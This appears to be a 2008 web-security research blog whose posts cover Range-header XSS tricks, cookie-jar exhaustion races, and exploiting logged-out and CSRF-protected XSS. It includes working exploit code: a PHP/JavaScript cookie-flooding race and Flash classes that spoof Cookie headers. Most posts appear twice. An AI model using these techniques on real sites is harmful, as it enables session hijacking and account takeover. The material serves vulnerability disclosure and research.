If anyone's interested, I uploaded my Bluehat slides here: http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/ (view online) and here: http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/download (download ppt)
Hopefully you get something out of them.
Sunday, June 08, 2008
Saturday, April 12, 2008
How much do you trust your DNS operator?
TechCrunch recently broke a story about Network Solutions hijacking users' unused subdomains for advertising. It seems to have only applied to people using Network Solutions for their shared hosting, and seems to have been removed now. (None of the IPs I tested on the same machine returned advertising for their non-existent subdomains) And on top of that we know that anyone who is on shared hosting is pretty easy pickings anyway, so this would seem to be a non-issue regarding security.
But Network Solutions doesn't exactly have the cleanest record in terms of ethics and there isn't anything technically stopping Network Solutions or any other company operating NS servers for your domain doing the same thing even if they're not hosting your content.
So given that this is a security blog, and definitely not an ethics blog, why am I talking about this? Because it introduces security problems.
As I talked about in previous posts about cookies, they are almost always sent to subdomains, and if your DNS operator implements something like this then all your users' cookies are being sent to your DNS operator's servers, which means that your cookies are taking two specific network paths which both have to be secure for your credentials to remain safe (three if you count that the DNS request has to be safe).
Now you may trust that your DNS provider isn't going to do anything intentionally malicious with the cookies, and are probably making the valid point that worrying about people having owned other networks being a vague and impractical threat to defend most websites against, but there is a much simpler risk involved here.
Network Solutions has made no effort to secure these pages from XSS, and why would you? They're essentially brochureware domains. Anyone who has probed a parked domain for XSS has probably seen that they have plenty of XSS holes, and the pages Network Solutions served for non-existent were the same pages that they serve on parked domains.
So after googling to find a parked Network Solutions domain, I found it was unsurprisingly trivial to XSS it via the search field.
So; how much do you trust your DNS operator?
But Network Solutions doesn't exactly have the cleanest record in terms of ethics and there isn't anything technically stopping Network Solutions or any other company operating NS servers for your domain doing the same thing even if they're not hosting your content.
So given that this is a security blog, and definitely not an ethics blog, why am I talking about this? Because it introduces security problems.
As I talked about in previous posts about cookies, they are almost always sent to subdomains, and if your DNS operator implements something like this then all your users' cookies are being sent to your DNS operator's servers, which means that your cookies are taking two specific network paths which both have to be secure for your credentials to remain safe (three if you count that the DNS request has to be safe).
Now you may trust that your DNS provider isn't going to do anything intentionally malicious with the cookies, and are probably making the valid point that worrying about people having owned other networks being a vague and impractical threat to defend most websites against, but there is a much simpler risk involved here.
Network Solutions has made no effort to secure these pages from XSS, and why would you? They're essentially brochureware domains. Anyone who has probed a parked domain for XSS has probably seen that they have plenty of XSS holes, and the pages Network Solutions served for non-existent were the same pages that they serve on parked domains.
So after googling to find a parked Network Solutions domain, I found it was unsurprisingly trivial to XSS it via the search field.
So; how much do you trust your DNS operator?
Labels:
DNS,
Security (All),
Web App Sec,
XSS
Saturday, February 23, 2008
HTTP Range & Request-Range Request Headers
For those that haven't heard of the Range header, here's a link: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2
For everyone who can't be bothered reading a link; essentially the Range header is what you use to ask a server for a part of a response, rather than the whole response; it's what makes resumeable downloads possible over http.
Anyway, another piece of research I presented at 24c3 is pretty simply, but rather useful:
If Flash were to allow us to send a Range header, then we would be able to get things sent to us completely out of context.
Until Apache 2.0 this header was only used when requesting static files, so it would not influence a typical XSS, however if we have an application such as vBulletin which protects against FindMimeFromData XSS attacks by searching the first 256 bytes for certain strings, then we can simply place our strings after the first 256 bytes and get Flash to send a header which looks like this:
To have unscanned data sent in the first 256 bytes, leading to XSS.
However since Apache 2.0 (and possibly in other webservers, but they're irrelevant to this post), the Range handling code is implemented as a filter; this means that it is applied to the output of every request, even if they are dynamic requests.
This means that if we were to have a normally unexploitable XSS condition where our use input was printed to the page inside an attribute with quotes either encoded or stripped, but all other metacharacters left intact, or an xss filter did not encode the html attributes you had at all like so:
Then we could use the Range header to request only our unencoded portion which would result in XSS.
Now, why is this important since Flash has never let anyone send a Range header?
Well, while looking through the Apache source code I found this beautiful snippet:
Which essentially says that if you can't find a Range header, look for a Request-Range header, and untill the latest version of Flash (9,0,115,0), the Request-Range header was not blocked. (I had hoped this would be unpatched when I presented it, but you can't really hope for much when you sit on a bug for almost half a year...)
Now the part I didn't present. In Firefox 3 Firefox implemented the new Cross-Site XMLHttpRequest which, as the name suggests, lets you make cross-site requests and read the responses.
There is some documentation here: http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest
The part of those specs which is relevant to this post is that you can allow Cross-Site XMLHttpRequests by including an XML preprocessing instruction; however you can't just XSS it onto the page as usual because it needs to be before any other data.
However, the XMLHttpRequest object allows you to append both Range and Request-Range headers. And by appending a Range header we can get our XSS-ed instruction to the start of the response, and read the response.
The limitations with this are fairly strict; as far as I can tell, you cannot add to the XHR policy cache with xml instructions, only with headers, and if you attempt to request multiple ranges, then the multi-part boundary which begins the response will be sent before the xml instruction, and so it will not be parsed, so you can only get the contents of the page that are after your XSS point. On the other hand I wasn't even able to get non-GET requests to work with server-side co-operation, so take these with a handful of salt.
On the up side, this does bypass the .NET RequestValidation mechanism since that does not flag on <? However, I doubt this will be very exploitable in many scenarios, though given the amount of .NET apps which are only protected by the RequestValidation mechanism; you're sure to find something.
For everyone who can't be bothered reading a link; essentially the Range header is what you use to ask a server for a part of a response, rather than the whole response; it's what makes resumeable downloads possible over http.
Anyway, another piece of research I presented at 24c3 is pretty simply, but rather useful:
Flash
If Flash were to allow us to send a Range header, then we would be able to get things sent to us completely out of context.
Until Apache 2.0 this header was only used when requesting static files, so it would not influence a typical XSS, however if we have an application such as vBulletin which protects against FindMimeFromData XSS attacks by searching the first 256 bytes for certain strings, then we can simply place our strings after the first 256 bytes and get Flash to send a header which looks like this:
Range: bytes=257-2048To have unscanned data sent in the first 256 bytes, leading to XSS.
However since Apache 2.0 (and possibly in other webservers, but they're irrelevant to this post), the Range handling code is implemented as a filter; this means that it is applied to the output of every request, even if they are dynamic requests.
This means that if we were to have a normally unexploitable XSS condition where our use input was printed to the page inside an attribute with quotes either encoded or stripped, but all other metacharacters left intact, or an xss filter did not encode the html attributes you had at all like so:
<a href=“http://site.com/<script>alert(1)</script>”>link</a>Then we could use the Range header to request only our unencoded portion which would result in XSS.
Now, why is this important since Flash has never let anyone send a Range header?
Well, while looking through the Apache source code I found this beautiful snippet:
if (!(range = apr_table_get(r->headers_in, "Range"))) {
range = apr_table_get(r->headers_in, "Request-Range");
}Which essentially says that if you can't find a Range header, look for a Request-Range header, and untill the latest version of Flash (9,0,115,0), the Request-Range header was not blocked. (I had hoped this would be unpatched when I presented it, but you can't really hope for much when you sit on a bug for almost half a year...)
Firefox
Now the part I didn't present. In Firefox 3 Firefox implemented the new Cross-Site XMLHttpRequest which, as the name suggests, lets you make cross-site requests and read the responses.
There is some documentation here: http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest
The part of those specs which is relevant to this post is that you can allow Cross-Site XMLHttpRequests by including an XML preprocessing instruction; however you can't just XSS it onto the page as usual because it needs to be before any other data.
However, the XMLHttpRequest object allows you to append both Range and Request-Range headers. And by appending a Range header we can get our XSS-ed instruction to the start of the response, and read the response.
The limitations with this are fairly strict; as far as I can tell, you cannot add to the XHR policy cache with xml instructions, only with headers, and if you attempt to request multiple ranges, then the multi-part boundary which begins the response will be sent before the xml instruction, and so it will not be parsed, so you can only get the contents of the page that are after your XSS point. On the other hand I wasn't even able to get non-GET requests to work with server-side co-operation, so take these with a handful of salt.
On the up side, this does bypass the .NET RequestValidation mechanism since that does not flag on <? However, I doubt this will be very exploitable in many scenarios, though given the amount of .NET apps which are only protected by the RequestValidation mechanism; you're sure to find something.
Friday, February 22, 2008
Racing to downgrade users to cookie-less authentication
Be warned: this post is a bit out there, and not extremely practical, but I'm posting exploit code and I thought the attack was fun.
If you ever disable cookies and try to use the web you will notice that a surprising number of websites that use sessions still work, especially if they are using a session management framework or were written during the browser wars when a significant number of people still didn't have cookie support in their browser, or were suspicious enough to have them disabled.
All of the cookie-less authentication systems rely on the same idea: passing session tokens through the URL. Other than being bad practice because it gets logged, etc, FUD, etc, they also get leaked through referers to 3rd parties. So if we can get an persistent image pointing to our server, then we will have the session tokens leaked to us. And it does have to be persistent, because unlike cookies, session tokens passed in the URL are not implicit and are not attached to our reflected html injections.
However this is usually never raised as an issue because everyone has cookies enabled these days, and this attack doesn't work against anyone.
However, how do web applications which need to work without JavaScript detect if a user's browsers supports cookies? They simply set a cookie, and then when the user logs in they verify whether a cookie was sent, and if it was not they then start putting the session id in all the links and forms on a page. Some applications also check on every subsequent page if they can set a cookie, and if they can there is no way to degrade to cookie-less auth again.
As I wrote previously; I discovered that in Firefox and Opera we can exhaust the cookie limit to delete the user's old cookies.
If we assume that we will have the user browsing both a site which degrades to cookie-less auth and our malicious site at the same time then if you think about this then you can see that there is a race condition between when the server sets the cookie and the user logs in (and in some applications between when a page is served and the next html request is made).
The question is; can we win this race?
In Firefox, it takes approximately 100 miliseconds on my machine to set 1000 cookies over 20 hostnames, with 1 hostname per iframe. So we can win any race.
In my testing Opera is much faster at navigating between pages and setting cookies, however I'm still unsure if we can win this race in Opera.
I think the code at the end of this post can be improved by having the iframes on hostnames which looks like a.b.c.d....z.123.ccTLD and are 256 characters long and is made up of 126 levels of hostnames, where the first 125 levels are single character portions, so as to maximise the number of levels on the hostname.
And then in each iframe we would set the max number of cookies for .a.b.c.d....z.123.ccTLD then .b.c.d....z.123.ccTLD and then .c.d....z.123.ccTLD etc, until we set a cookie for 123.ccTLD - this would mean we do not havew to navigate between pages at all, and we could do opera's 65536 max cookie limit in 18 iframes; however before doing this we might have to force a lookup to all 2815 hostnames so that we don't hit a bottleneck in Opera's cross-site cooking code.
However, if we cannot get things as fast as in Firefox, we may still be able to win some races.
A lot depends on the application, but the easiest case is where we only have to win one race, and we can keep racing, such as the Phorum software which runs sla.ckers.org; it sets a temporary cookie which it checks the existence of when you login, and if it is not there when you login, it uses cookie-less auth for the whole session.
So our race here is against how long it takes the user to fill in the login page; and considering that if we lose the race we end up deleting all the cookies, we simply race again and again.
vBulletin on the other hand, is a much tougher beast. It tries to set a cookie on every page, even when you have begun using cookie-less auth, and also has a redirect page which redirects you in 2 seconds.
So not only do we have to win every race until a user views our image, we also have to be able to beat a two second race.
We can probably stop the redirect happening by simply running our code (which lags the system a bit), and winning the race like that, but winning the race 100% of the time may still be difficult, and would lag the system enough for the user to think of closing the tab/window.
However, when we race we race against everything, so the code we use is identical between applications, and would only have to change between browsers.
Anyway, here's some code for Firefox which spins when it doesn't need to be racing, i.e. when it has completely saturated the cookie jar and writing any additional cookie would simply overwrite earlier cookies that our script set, so that it only lags the system in bursts.
You need to have 20 subdomains setup which point to the second file; the easiest way to do this is just wildcard DNS. And have the first file setup on the parent domain, e.g. [1-20].localhost & localhost
main.php:
cookie_sub.php:
If you ever disable cookies and try to use the web you will notice that a surprising number of websites that use sessions still work, especially if they are using a session management framework or were written during the browser wars when a significant number of people still didn't have cookie support in their browser, or were suspicious enough to have them disabled.
All of the cookie-less authentication systems rely on the same idea: passing session tokens through the URL. Other than being bad practice because it gets logged, etc, FUD, etc, they also get leaked through referers to 3rd parties. So if we can get an persistent image pointing to our server, then we will have the session tokens leaked to us. And it does have to be persistent, because unlike cookies, session tokens passed in the URL are not implicit and are not attached to our reflected html injections.
However this is usually never raised as an issue because everyone has cookies enabled these days, and this attack doesn't work against anyone.
However, how do web applications which need to work without JavaScript detect if a user's browsers supports cookies? They simply set a cookie, and then when the user logs in they verify whether a cookie was sent, and if it was not they then start putting the session id in all the links and forms on a page. Some applications also check on every subsequent page if they can set a cookie, and if they can there is no way to degrade to cookie-less auth again.
As I wrote previously; I discovered that in Firefox and Opera we can exhaust the cookie limit to delete the user's old cookies.
If we assume that we will have the user browsing both a site which degrades to cookie-less auth and our malicious site at the same time then if you think about this then you can see that there is a race condition between when the server sets the cookie and the user logs in (and in some applications between when a page is served and the next html request is made).
The question is; can we win this race?
In Firefox, it takes approximately 100 miliseconds on my machine to set 1000 cookies over 20 hostnames, with 1 hostname per iframe. So we can win any race.
In my testing Opera is much faster at navigating between pages and setting cookies, however I'm still unsure if we can win this race in Opera.
I think the code at the end of this post can be improved by having the iframes on hostnames which looks like a.b.c.d....z.123.ccTLD and are 256 characters long and is made up of 126 levels of hostnames, where the first 125 levels are single character portions, so as to maximise the number of levels on the hostname.
And then in each iframe we would set the max number of cookies for .a.b.c.d....z.123.ccTLD then .b.c.d....z.123.ccTLD and then .c.d....z.123.ccTLD etc, until we set a cookie for 123.ccTLD - this would mean we do not havew to navigate between pages at all, and we could do opera's 65536 max cookie limit in 18 iframes; however before doing this we might have to force a lookup to all 2815 hostnames so that we don't hit a bottleneck in Opera's cross-site cooking code.
However, if we cannot get things as fast as in Firefox, we may still be able to win some races.
A lot depends on the application, but the easiest case is where we only have to win one race, and we can keep racing, such as the Phorum software which runs sla.ckers.org; it sets a temporary cookie which it checks the existence of when you login, and if it is not there when you login, it uses cookie-less auth for the whole session.
So our race here is against how long it takes the user to fill in the login page; and considering that if we lose the race we end up deleting all the cookies, we simply race again and again.
vBulletin on the other hand, is a much tougher beast. It tries to set a cookie on every page, even when you have begun using cookie-less auth, and also has a redirect page which redirects you in 2 seconds.
So not only do we have to win every race until a user views our image, we also have to be able to beat a two second race.
We can probably stop the redirect happening by simply running our code (which lags the system a bit), and winning the race like that, but winning the race 100% of the time may still be difficult, and would lag the system enough for the user to think of closing the tab/window.
However, when we race we race against everything, so the code we use is identical between applications, and would only have to change between browsers.
Anyway, here's some code for Firefox which spins when it doesn't need to be racing, i.e. when it has completely saturated the cookie jar and writing any additional cookie would simply overwrite earlier cookies that our script set, so that it only lags the system in bursts.
You need to have 20 subdomains setup which point to the second file; the easiest way to do this is just wildcard DNS. And have the first file setup on the parent domain, e.g. [1-20].localhost & localhost
main.php:
<html>
<body>
<script>
document.domain = document.domain;
var numloaded = 0;
var tries = 0;
function loaded() {
if (++numloaded == 20) {
go();
}
}
var numnotified = 0;
function notify() {
if (++numnotified == 20) {
numnotified = 0;
window.setTimeout ('poll()', 300);
}
}
var time = new Date();
function go() {
numnotified = 0;
document.cookie = 'testing=1';
for (var n=0;n<20;n++) {
window.frames[n].go();
}
}
function poll() {
var missing = 0;
for (var n=0;n<20;n++) {
missing = missing + window.frames[n].poll();
}
if (missing>0) {
go();
} else {
window.setTimeout ('poll()', 300);
}
}
</script>
<?php
for ($i=0;$i<20;$i++) {
print '<iframe src="http://'.($i+1).'.localhost/cookie_sub.php" style="visibility: hidden" width="1" height="1"></iframe>';
}
?>
</body>
</html>cookie_sub.php:
<?php
header ("Expires: Fri, 17 Dec 2010 10:00:00 GMT"); //To speed up repeated attacks
?>
<html>
<body>
<script>
document.domain = 'localhost';
window.parent.loaded();
function go() {
for (var n=0;n<50;n++) {
document.cookie = n+"=1";
}
window.parent.notify();
}
function poll () {
if (document.cookie.split('; ').length==50) {
return 0;
} else {
return 1;
}
}
</script>
</body>
</html>
Exploiting CSRF Protected XSS
XSS vulnerabilities which are protected by CSRF protections, are usually considered unexploitable due to the fact that we have no way of predicting the CSRF token.
However, these protections do nothing more than check that the user is first "logged in" and that the CSRF token they sent is tied to their session; nowhere in this chain of events is there a condition which states that an attacker must be forcing the victim to use their own session identifier (cookie).
If we are able to force the victim to send a request which contains the attacker's cookie, CSRF token and XSS payload, then we will pass the CSRF protection checks and have script execution.
So how would we go about this? As I mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post, Flash (until 9,0,115,0 and not in IE) allows us to spoof the Cookie header for a single request, however this suffers from the same problem that we cannot completely over-write cookies; only add an additional Cookie header.
This is indeed a possible attack vector though; if we first make sure the user is "logged out" (and also has no value for the login cookie) either by simply waiting, using a CSRF attack to log the user out (and hoping the website also clears it's cookies), or exhausting the browser's cookie limit, we can then add our own Cookie, CSRF token and XSS payload to the request using similar Flash code e.g.
Then the application will receive a request with our (the attacker's) session id, a valid CSRF token and our XSS payload from the victim's browser.
Of course, the problem with this is that if the user is actually logged out (which we forced, due to our inability to simply over-write the cookie or stop it being sent) and the browser no longer has the victim's cookies, the only attacks we have from this point are the other attacks mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post. And while this is not ideal, it does at least give us something other than an unexploitable XSS.
Again, with this technique we can also set a cookie for the specific path, either by having an XSS on a related subdomain or by abusing a cros-site cooking bug, and then the user will still have their original cookie intact and we can simply remove our own cookie from the user's browser once our XSS has fired.
Another case where the user would be logged out is the case where we can somehow get the cookies stripped from the user's request.
The technique I presented at 24c3 talked about abusing one such piece of software which stripped cookies; the RequestRodeo Firefox extension which was created by Martin Johns and Justus Winter which does a good job of protecting against a lot of CSRF attacks by stripping cookies from requests originating from 3rd party sites (i.e. a request going to site.com which was induced by evil.com will not have any cookies attached to it). Which is just what we need.
Of course, this is a nice place to note that this is of course a niche piece of software that doesn't really provide a valid avenue for exploitation in almost any scenario, but as I explained in my post "Understanding Cookie Security" we can also delete all a users' cookies by exhausting the browser's global limit on on the amount of cookies it will store.
Anyway, given that RequestRodeo all cookies (including the ones we are attempting to send via Flash), we still face the problem that we need to be sending a valid session identifier for which we need to be sending a valid CSRF token. We do not face this problem when we remove the user's cookies, and can use the Flash approach outlined above, but we can also use this approach, which has the added benifit of still working on everyone (not just those who are unpatched).
Anyway, one interesting feature of PHP and other frameworks is that they accept session identifiers through the URL. This has of course led to easily exploitable Session Fixation attacks; however in PHP at least, if a cookie is being sent, then the value in the URL is completely ignored.
In our case, no cookie is being sent, since it is either being stripped by RequestRodeo, or has been deleted by us, so we can simply supply our session identifier through the URL, attach our CSRF token and XSS payload and we're done, except in this case the browser still has the user's cookies, and our XSS functions like normal.
The result of this attack is the same as the above if we have deleted the cookies from the user's browser, however if we have stripped the cookies with RequestRodeo or some similar tool/technique/etc, then we have the further benifit of the user still being logged in when our XSS fires.
As I wrote in my post "Understanding Cookie Security", if we have an XSS which is largely unexploitable (except via pure Session Fixation) since it is on a subdomain with no accounts, we can use it to set almost arbitrary cookies for other subdomains.
This gives us a perfect avenue, since we can set the path to only over-write cookies for our single CSRF Protected XSS page, and send the appropriate CSRF token and XSS payload for.
One case which is much simpler to exploit than the general case though, is where there are CSRF protections on the form where you submit the actual XSS, but the XSS is a persistent XSS for the user, in that it is rendered on another page (which is itself not CSRF protected, since it is used to display rather than edit data)
CAPTCHAs are not designed to be CSRF protections, and in certain cases are bypassable.
There are essentially two (not completely broken) types of CAPTCHA systems I have seen in widespread use, one where the plaintext is simply stored in the server-side session and the captcha is included in a form like this:
The other is when a form has a hidden input tag which contains a value which is also inside the image URL, like so:
The first system is trivially bypassed for CSRF & CSRF Protected XSS attacks by simply inserting the CAPTCHA onto a page, or inside an iframe (to strip/spoof referers), and asking the user to solve it.
The second can often be trivially bypassed for CSRF & CSRF Protected XSS attacks since the id is usually not user-dependant and the CAPTCHA does not keep track of what id it sent the user. Therefore the attacker can simply retrieve the appropriate CAPTCHA, solve it, and put the answer along with the corresponding captcha id in the csrf or csrf protected xss attack.
So essentially if we can somehow trick the application into using an attacker's session identifier, either by altering the cookie (e.g. via subdomain tricks, Flash, injecting into Set-Cookie headers, or whatever other trick we can come up with), or by suppressing or deleting the cookie and passing the identifier through another means such as the URL, then all CSRF protected XSSs are exploitable.
However if we cannot, then we can still exploit some scenarios such as self-only CSRF protected persistent XSS if the logout/login functionality is not CSRF-protected (which very few are). And we can also bypass the semi-CSRF protection of CAPTCHAs in several cases.
However, these protections do nothing more than check that the user is first "logged in" and that the CSRF token they sent is tied to their session; nowhere in this chain of events is there a condition which states that an attacker must be forcing the victim to use their own session identifier (cookie).
If we are able to force the victim to send a request which contains the attacker's cookie, CSRF token and XSS payload, then we will pass the CSRF protection checks and have script execution.
A General Case
So how would we go about this? As I mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post, Flash (until 9,0,115,0 and not in IE) allows us to spoof the Cookie header for a single request, however this suffers from the same problem that we cannot completely over-write cookies; only add an additional Cookie header.
This is indeed a possible attack vector though; if we first make sure the user is "logged out" (and also has no value for the login cookie) either by simply waiting, using a CSRF attack to log the user out (and hoping the website also clears it's cookies), or exhausting the browser's cookie limit, we can then add our own Cookie, CSRF token and XSS payload to the request using similar Flash code e.g.
class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("Cookie", "PHPSESSID=our_valid_session_id");
req.x = "y";
req.send("http://site.com/page.php?csrf_token=our_csrf_token&variable=",
"_self", "POST");
// Note: The method must be POST, and must contain
// POST data, otherwise headers don't get attached
}
} Then the application will receive a request with our (the attacker's) session id, a valid CSRF token and our XSS payload from the victim's browser.
Of course, the problem with this is that if the user is actually logged out (which we forced, due to our inability to simply over-write the cookie or stop it being sent) and the browser no longer has the victim's cookies, the only attacks we have from this point are the other attacks mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post. And while this is not ideal, it does at least give us something other than an unexploitable XSS.
Cookie tricks
Again, with this technique we can also set a cookie for the specific path, either by having an XSS on a related subdomain or by abusing a cros-site cooking bug, and then the user will still have their original cookie intact and we can simply remove our own cookie from the user's browser once our XSS has fired.
Abusing RequestRodeo
Another case where the user would be logged out is the case where we can somehow get the cookies stripped from the user's request.
The technique I presented at 24c3 talked about abusing one such piece of software which stripped cookies; the RequestRodeo Firefox extension which was created by Martin Johns and Justus Winter which does a good job of protecting against a lot of CSRF attacks by stripping cookies from requests originating from 3rd party sites (i.e. a request going to site.com which was induced by evil.com will not have any cookies attached to it). Which is just what we need.
Of course, this is a nice place to note that this is of course a niche piece of software that doesn't really provide a valid avenue for exploitation in almost any scenario, but as I explained in my post "Understanding Cookie Security" we can also delete all a users' cookies by exhausting the browser's global limit on on the amount of cookies it will store.
Anyway, given that RequestRodeo all cookies (including the ones we are attempting to send via Flash), we still face the problem that we need to be sending a valid session identifier for which we need to be sending a valid CSRF token. We do not face this problem when we remove the user's cookies, and can use the Flash approach outlined above, but we can also use this approach, which has the added benifit of still working on everyone (not just those who are unpatched).
Anyway, one interesting feature of PHP and other frameworks is that they accept session identifiers through the URL. This has of course led to easily exploitable Session Fixation attacks; however in PHP at least, if a cookie is being sent, then the value in the URL is completely ignored.
In our case, no cookie is being sent, since it is either being stripped by RequestRodeo, or has been deleted by us, so we can simply supply our session identifier through the URL, attach our CSRF token and XSS payload and we're done, except in this case the browser still has the user's cookies, and our XSS functions like normal.
The result of this attack is the same as the above if we have deleted the cookies from the user's browser, however if we have stripped the cookies with RequestRodeo or some similar tool/technique/etc, then we have the further benifit of the user still being logged in when our XSS fires.
Other Cookie Tricks
As I wrote in my post "Understanding Cookie Security", if we have an XSS which is largely unexploitable (except via pure Session Fixation) since it is on a subdomain with no accounts, we can use it to set almost arbitrary cookies for other subdomains.
This gives us a perfect avenue, since we can set the path to only over-write cookies for our single CSRF Protected XSS page, and send the appropriate CSRF token and XSS payload for.
Self-Only CSRF Protected Persistent XSS
One case which is much simpler to exploit than the general case though, is where there are CSRF protections on the form where you submit the actual XSS, but the XSS is a persistent XSS for the user, in that it is rendered on another page (which is itself not CSRF protected, since it is used to display rather than edit data)
CAPTCHAs As CSRF Protections
CAPTCHAs are not designed to be CSRF protections, and in certain cases are bypassable.
There are essentially two (not completely broken) types of CAPTCHA systems I have seen in widespread use, one where the plaintext is simply stored in the server-side session and the captcha is included in a form like this:
<img src="captcha.php" />The other is when a form has a hidden input tag which contains a value which is also inside the image URL, like so:
<input type="hidden" name="captcha_id" value="1234567890" />
<img src="captcha.php?id=1234567890" />The first system is trivially bypassed for CSRF & CSRF Protected XSS attacks by simply inserting the CAPTCHA onto a page, or inside an iframe (to strip/spoof referers), and asking the user to solve it.
The second can often be trivially bypassed for CSRF & CSRF Protected XSS attacks since the id is usually not user-dependant and the CAPTCHA does not keep track of what id it sent the user. Therefore the attacker can simply retrieve the appropriate CAPTCHA, solve it, and put the answer along with the corresponding captcha id in the csrf or csrf protected xss attack.
Conclusion
So essentially if we can somehow trick the application into using an attacker's session identifier, either by altering the cookie (e.g. via subdomain tricks, Flash, injecting into Set-Cookie headers, or whatever other trick we can come up with), or by suppressing or deleting the cookie and passing the identifier through another means such as the URL, then all CSRF protected XSSs are exploitable.
However if we cannot, then we can still exploit some scenarios such as self-only CSRF protected persistent XSS if the logout/login functionality is not CSRF-protected (which very few are). And we can also bypass the semi-CSRF protection of CAPTCHAs in several cases.
Labels:
CSRF,
HTTP,
Security (All),
Web App Sec,
XSS
Exploiting Logged Out XSS Vulnerabilities
Usually when we consider vulnerabilities which are only rendered when a user is logged out (e.g. a side bar which renders a vulnerable login form when logged out, and a menu otherwise), the known methods of attack lie in, first getting the user logged out, and then doing one of the following:
Some new possibilities for attacking these vulnerabilities are:
Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.
If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.
But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.
However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".
To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.
So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.
So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.
The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.
Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:
Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.
Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:
Which PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:
Which is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.
The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).
- Extracting login information from the Password Manager
- Modifying a client-side data store, such as cookies or Flash LSO's to create an attack which fires later when a user is logged in
- Conducting a Session Fixation attack
Some new possibilities for attacking these vulnerabilities are:
- Reading the Browser Cache via XSS
- Semi-Logging the User Out
Reading the Browser Cache via XSS
Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.
If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.
But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.
Semi-Logging the User Out
However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".
To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.
So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.
So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.
The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.
Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:
class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("Cookie", "PHPSESSID=junk");
req.x = "y";
req.send("http://site.com/page.php?variable=",
"_self", "POST");
// Note: The method must be POST, and must contain
// POST data, otherwise headers don't get attached
}
} Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.
Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:
Cookie: PHPSESSID=valid_id
Cookie: PHPSESSID=junkWhich PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:
valid_id, PHPSESSID=junkWhich is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.
The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).
Labels:
HTTP,
Javascript,
Security (All),
Web App Sec,
XSS
Understanding Cookie Security
Whenever anyone decides to talk about XSS, one thing which is sure to pop up is the Same Origin Policy which XSS avoids by being reflected by the server. The Same Origin Policy is the security restriction which make sure that any pages trying to communicate via JavaScript are on the same protocol, domain and port. However this is misleading since it is not the weakest link that browsers have between domains.
The weakest link across domains is (for lack of a better term) the cookie policy which determines which domains can set cookies for which domains and which cookies each domain receives.
The cookies we use have several fields, including these ones I want to talk about:
First, it must be noticed that the protocol restriction which is explicit in the Same Origin policy is here implicit, since cookies are an extension to HTTP, and so would only be sent for http, however the distinction between http and https is only enforced if the Secure flag is set.
Secondly, unlike the same origin policy, the cookie policy has no restrictions on ports, explicit or implicit.
And furthermore the domain check is not exact. From RFC 2109:
Effectively, this means that that any subdomains of a given domain can set, and is sent the cookies for that domain, i.e. news.google.com can set, and is sent the cookies for .google.com. Furthermore a second subdomain, e.g. mail.google.com can also set, and is sent the cookies for .google.com - This effectively means that by setting a cookie for google.com, news.google.com can force the user's browser to send a cookie to mail.google.com.
But what if two cookies of the same name should be sent to a given page, e.g. if there is a cookie called "user" set for mail.google.com and .google.com with different values, how does the browser decide which one to send?
